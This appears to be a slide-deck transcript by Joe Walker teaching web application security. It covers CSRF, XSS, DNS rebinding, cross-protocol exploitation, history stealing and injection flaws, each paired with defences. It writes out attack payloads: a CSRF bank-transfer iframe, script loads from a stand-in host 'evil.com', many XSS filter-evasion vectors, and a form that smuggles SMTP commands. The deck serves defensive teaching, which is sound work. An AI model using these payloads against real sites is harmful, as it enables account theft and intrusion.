Web App Security Keeping your application safe Joe Walker
CSRF = Cross Site Request Forgery You are at risk of a CSRF attack whenever you assume that a request containing an authentication header (e.g. cookies) is something the user intended
CSRF bank.com Welcome Fred, Thank-you for logging in evil.com. <iframe width=0 height=0 src="http://bank.com/transfer.cgi?amnt=all&dest=mrevil"/>
CSRF JavaScript is not always required to exploit a CSRF hole Often all you need is: <iframe src="dangerous_url"> or <img src="dangerous_url"/> or <script src="dangerous_url"> You can t use XHR because cross-domain rules prevent the request from being sent
Demo CSRF CSRF attacks are write-only (with one exception) Both GET and POST can be forged Referrer checking is not a complete fix, but it can slow an attacker down It s not just cookies that get stolen: HTTP-Auth headers Active Directory Kerboros tokens
CSRF - Protection Force users to log off Check referrer headers Can help, but not a complete solution Include authentication tokens in the body of EVERY request The only real complete solution
CSRF - Protection Security tokens in GET requests are not a great idea (bookmarks, caches, GET should be idempotent etc) POST means forms with hidden fields OWASP servlet filter http://www.owasp.org/index.php/csrf_guard Double-submit cookie pattern (Ajax requests only) Read the cookie with Javascript and submit in the body
XSS = Cross Site Scripting You are at risk of an XSS attack any time you allow scripts from someone untrusted into pages from your domain
XSS - Cross Site Scripting 3 types: Reflected: Script embedded in the request is reflected in the response Stored: Attacker s input is stored and played back in later page views DOM: Script is injected into the document from outside response body
XSS Scenario: You let the user enter their name Someone is going to enter their name like this: Joe<script src="http://evil.com/danger.js"> Then, whoever looks at Joe s name will execute Joe s script and become a slave of Joe
XSS There are 2 basic scenarios: HTML is not a valid input HTML is a valid input (e.g. blogs, myspace, anything with a rich editor environment)
XSS - Making User Input Safe So, you filter out <script.*> and then you re safe. Right?
XSS - Making User Input Safe You also need to filter: <table background="javascript:danger()"> <tr background="javascript:danger()"> <body background="javascript:danger()">
XSS - Making User Input Safe And don t forget: <input type='image' src='javascript:danger()'/> <img src='javascript:danger()'/> <frameset> <frame src="javascript:danger()">...
XSS - Making User Input Safe And then there s: <link rel="stylesheet" href="javascript:danger()"/> <base href="javascript:danger()">
XSS - Making User Input Safe But remember: <meta http-equiv="refresh" content="0;url=javascript:danger()"> <p style='background-image: url("javascript:danger();")'); <a href='javascript:danger();'>
XSS - Making User Input Safe And: <body onload='danger();'> <div onmouseover='danger();'> <div onscroll='danger();'>
XSS - Making User Input Safe Did you test for: <div onmouseenter='danger();'>
XSS - Making User Input Safe And: <object type="text/x-scriptlet" data="evil.com/danger.js"> <style>@import evil.com/danger.js</style>
XSS - Making User Input Safe And: <div style="width:expression(danger();)">
XSS - Making User Input Safe It s made 1000 times worse by browsers being able to make sense of virtually anything. This: <a href="a.html" link</a> makes perfect sense to a browser.
XSS - Making User Input Safe It s made 1000 times worse by browsers being able to make sense of virtually anything. This: <a href="a.html">link makes perfect sense to a browser.
XSS - Making User Input Safe It s made 1000 times worse by browsers being able to make sense of virtually anything. This: <a href="a.html >link</a> makes perfect sense to a browser.
XSS - Making User Input Safe It s made 1000 times worse by browsers being able to make sense of virtually anything. This: (depending on some encoding tricks) ¼a href="a.html"¾link¼/a¾ makes perfect sense to a browser.
XSS - Making User Input Safe And we haven t got into: Flash (ActionScript ~= JavaScript) SVG (can embed JavaScript).htc (packaged HTML in IE) XML Data Islands (IE only) HTML+TIME You can use both <object> and <embed> for many of these
XSS - The Heart of the Problem Be conservative in what you do; be liberal in what you accept from others Postel s Law
XSS - The Heart of the Problem In + A Out B
Demo XSS - The Heart of the Problem ¼STYLE¾@im\port'\ja\vas c\ri pt:danger()';¼/style¾
XSS - Protection (HTML is Illegal) 1. Filter inputs by white-listing input characters Remember to filter header names and values 2. Filter outputs for the display environment For HTML: < < > > ' ' " " & & If it might pop-up in Javascript: ( ( ) ) Other environments have other special chars
XSS - Protection (well-formed HTML is legal) 1. Filter inputs as before 2. Validate as HTML and throw away if it fails 3. Swap characters for entities (as before) 4. Swap back whitelist of allowed tags. e.g.: <strong> <strong> 5. Take extra care over attributes: <a href="\([^&]*\)"\/> <a href="$1"/> 6. Take great care over regular expressions
XSS - Protection (malformed HTML is legal) 1. Find another way to do it / Swap jobs / Find some other solution to the problem 2. Create a tag soup parser to create a DOM tree from a badly formed HTML document Remember to recursively check encodings 3. Create a tree walker that removes all non approved elements and attributes
XSS - Hacking RSS Readers } RSS Feeds Aggregators generally change the domain Users get the result Hacking RSS and Atom Feed Implementations http://www.cgisecurity.com/papers/hackingfeeds.pdf
XSS - Summary Restrict input as much as possible, whenever possible: Better to filter on known by known good or whitelist than blacklist Ensure user-supplied data is output with entity encoding E.g. JSTL <c:out value="${foo}"/> (escapes XML) Ensure output encoding is specified (e.g. UTF-8)
Anti-DNS Pinning DNS for evil.com 1.2.3.4 10.0.0.1
Anti-DNS Pinning DNS for evil.com 1.2.3.4 Let s visit evil.com 10.0.0.1
Anti-DNS Pinning DNS for evil.com What s the IP address for evil.com? 1.2.3.4 10.0.0.1
Anti-DNS Pinning DNS for evil.com You need 1.2.3.4 (timeout = 1 sec) 1.2.3.4 10.0.0.1
Anti-DNS Pinning DNS for evil.com 1.2.3.4 Can I have http://evil.com please? 10.0.0.1
Anti-DNS Pinning DNS for evil.com HTML + JavaScript that creates an iframe 2 seconds after the page has loaded 1.2.3.4 10.0.0.1
Anti-DNS Pinning DNS for evil.com 1.2.3.4 Time passes (2 seconds) 10.0.0.1
Anti-DNS Pinning DNS for evil.com What s the IP address for evil.com? 1.2.3.4 10.0.0.1
Anti-DNS Pinning DNS for evil.com 1.2.3.4 You need 10.0.0.1 10.0.0.1
Anti-DNS Pinning DNS for evil.com 1.2.3.4 Can I have http://evil.com/blah please? 10.0.0.1
Anti-DNS Pinning DNS for evil.com This web server is really http://intranet.bigcorp.com 1.2.3.4 10.0.0.1
Anti-DNS Pinning Outer frame reads text from inner iframe and sends it back to 1.2.3.4 DNS for evil.com 1.2.3.4 10.0.0.1
Anti-DNS Pinning DNS for evil.com 1.2.3.4 10.0.0.1
Anti-DNS Pinning About Pinning : To prevent this attack, browsers pin DNS addresses to prevent short DNS timeouts But websites can get around this by firewalling themselves thus appearing to be down Browsers then need to re-query DNS in case the server is doing DNS round-robin
Anti-DNS Pinning It s not great for the Internet: the browser thinks the domain is evil.com, so cookies for innocent.com are not sent: Cookie protected resources are safe (for now) But it s great for Intranet hacking No cookies needed to read from 192.168.0.1 or 127.0.0.1
Combining Attacks The problem with small holes: They combine, often in surprising ways, into much bigger holes
Web Worms If your site that isn t 100% safe against XSS and CSRF, users can attack their friends with scripts XHR/Flash/Quicktime can be used as a vector Web worms grow much faster than email worms So far, infections have been mostly benign, like how email worms were in the early 90 s... http://www.whitehatsec.com/downloads/whxssthreats.pdf
Intranet Hacking History stealing to enumerate hosts inside the firewall Anti-DNS pinning to read HTML from inside Many routers / firewalls / etc have default passwords, which an attacker can exploit Use CSRF to alter router / firewall settings http://www.whitehatsec.com/home/resources/presentations/files/javascript_malware.pdf
Questions? Joe Walker http://getahead.org/blog/joe
Other Tips
Check the stuff you are allowing access to It s so obvious, someone *else* must be checking... It s a common mistake: MySpace (last week) Photobucket (the week before, and the week before that) Google (a few months ago)
Check the stuff you are allowing access to
Demo Dropping SSL after login is dangerous Being able to snoop on someone else s cookie is virtually the same as being able to snoop on their password Some services (e.g. Google) default to http after login (bad), but allow you to use https for the whole session: https://mail.google.com/mail/ https://www.google.com/calendar/ etc.
Session Fixation using URL Re-writing URL re-writing allows 2 sessions to be active at the same time This can get confusing...
Demo Session Fixation using URL Re-writing Existing sessions must be invalidated on login: HttpSession s = request.getsession(false); if (s!= null) s.invalidate(); s = request.getsession(true); Declare URL re-writing illegal: if (request.isrequestedsessionidfromurl()) throw SecurityException();
Cross Protocol Exploitation Many Internet protocols are robust - they tolerate errors, to get around incompatibilities and to help user testing But this can allow you to talk 2 languages at the same time and still make sense...
Cross Protocol Exploitation <form action="http://mail:25/" method="post" enctype="multipart/form-data"> <textarea name="foo"> HELO example.com MAIL FROM:<somebody@example.com> RCPT TO:<recipient@example.org> DATA Subject: Hi there! From: somebody@example.com To: recipient@example.org Hello world!. QUIT </textarea> <input type="submit" value="go"/> </form>
Cross Protocol Exploitation POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----------0xkhtmlboundary ------------0xKhTmLbOuNdArY Content-Disposition: form-data; name="foo" HELO example.com MAIL FROM:<somebody@example.com> RCPT TO:<recipient@example.org> DATA Subject: Hi there! From: somebody@example.com To: recipient@example.org Hello world!.
Cross Protocol Exploitation 220 mail.example.org ESMTP Hi there! POST / HTTP/1.1 500 Command unrecognized Content-Type: multipart/form-data; boundary=----------0xkhtmlboundary 500 Command unrecognized ------------0xKhTmLbOuNdArY 500 Command unrecognized Content-Disposition: form-data; name="foo" 500 Command unrecognized HELO example.com 250 mail.example.org Hello example.com [10.11.12.13] MAIL FROM:<somebody@example.com> 250 <somebody@example.com> is syntactically correct RCPT TO:<recipient@example.org> 250 <recipient@example.org> is syntactically correct DATA 354 Enter message, ending with "." on a line by itself Subject: Hi there! From: somebody@example.com To: recipient@example.org Hello world!. 250 OK id=15iyas-00073g-00 221 mail.example.org closing connection
Comparative Browser Security Internet Explorer: Made worse by backward compatibility - HTML+Time? Firefox: Made better by plugins - but only to some users Safari: Made worse by lack of PC exposure (until recently)
Useful Tools Firefox: NoScript - Accept scripts only from sites you trust AltCookies - Accept cookies only from sites you trust EditCooikes - Alter cookies for testing Firebug - Dig deeply into HTTP/JavaSript/CSS and HTTP General: Paros - Filtering Proxy (can be configured to be transparent) Burp - Like Paros Fiddler - Like Paros with integration into IE
History Stealing - Part 1 I want to know if you visit dodgy.com I create a page with a link and use a script to read the CSS link color: purple:guilty, blue:not guilty A page can quickly check thousands of sites and find where you bank and store your email http://ha.ckers.org/weird/css-history-hack.html
History Stealing - Part 2 Point a script tag at a protected HTML resource, detect differing replies by differing error messages <script src="http://mail.google.com/mail"> http://ha.ckers.org/weird/javascript-website-login-checker.html
Malicious File Execution / Injection Flaws OWASP separates: #3. Malicious File Execution from #2. Injection Flaws In some ways the distinction is slightly arbitrary so we will consider them together
Injection Flaws This occurs when an application trusts a file / data stream from a user Examples include: Remote file include vulnerabilities (common in PHP) Malicious media files E.G. executing PHP though getimagesize()
Demo Injection Flaws - Example From posting to http://ha.ckers.org by Michael Schramm
Injection Flaws // The image directory URL imagedir = getservletcontext().getresource("/images"); // Ask Commons FileUpload to write uploaded images to the directory DiskFileItemFactory ifact = new DiskFileItemFactory(0, new File(imageDir.getFile())); ServletFileUpload fileuploader = new ServletFileUpload(iFact); // Tell the "upload done" JSP about the uploaded file List<FileItem> fileitems = fileuploader.parserequest(req); req.setattribute("uploadname", fileitems.get(0).getname()); // And forward to the done JSP. req.getrequestdispatcher("/uploaddone.jsp").forward(req, resp);
Injection Flaws // Setup the upload as before List<FileItem> fileitems = fileuploader.parserequest(req); // Use ImageIO to read from the stream InputStream is = fileitems.get(0).getinputstream(); ImageInputStream iis = new MemoryCacheImageInputStream(is); Iterator it = ImageIO.getImageReaders(iis); ImageReader reader = it.next(); reader.setinput(iis); // Find something out about the stream int width = reader.getwidth(0); // Rest of process (hint - it s too late) req.getrequestdispatcher("/uploaddone.jsp").forward(req, resp);
Injection Flaws Chris Evans Image Vulnerability Native code buffer overflow Potential for exploitation remotely Fix requires very recent JVM. Upgrade to: JDK 1.4.2_15 JDK 1.5.0_12
Injection Flaws Other things to watch out for: SQL (Use PreparedStatement) OS Commands (Don t use Runtime.exec) LDAP XML (Use proper escaping) XPATH Buffer overflows etc...
Injection Flaws Many media types are scriptable by design: Some are scriptable by buffer-overflow: If you are allowing users to upload files; be afraid. JavaScript Malware embedded in everything: http://jeremiahgrossman.blogspot.com/2006/09/javascript-malware-embedded-in.html
Injection Flaws - Protection Strongly validate anything sent to you by the user Accept known good If in doubt; chuck it away Binary files are hard to validate Sometimes just processing a file fixes it Restrict outbound connections from web servers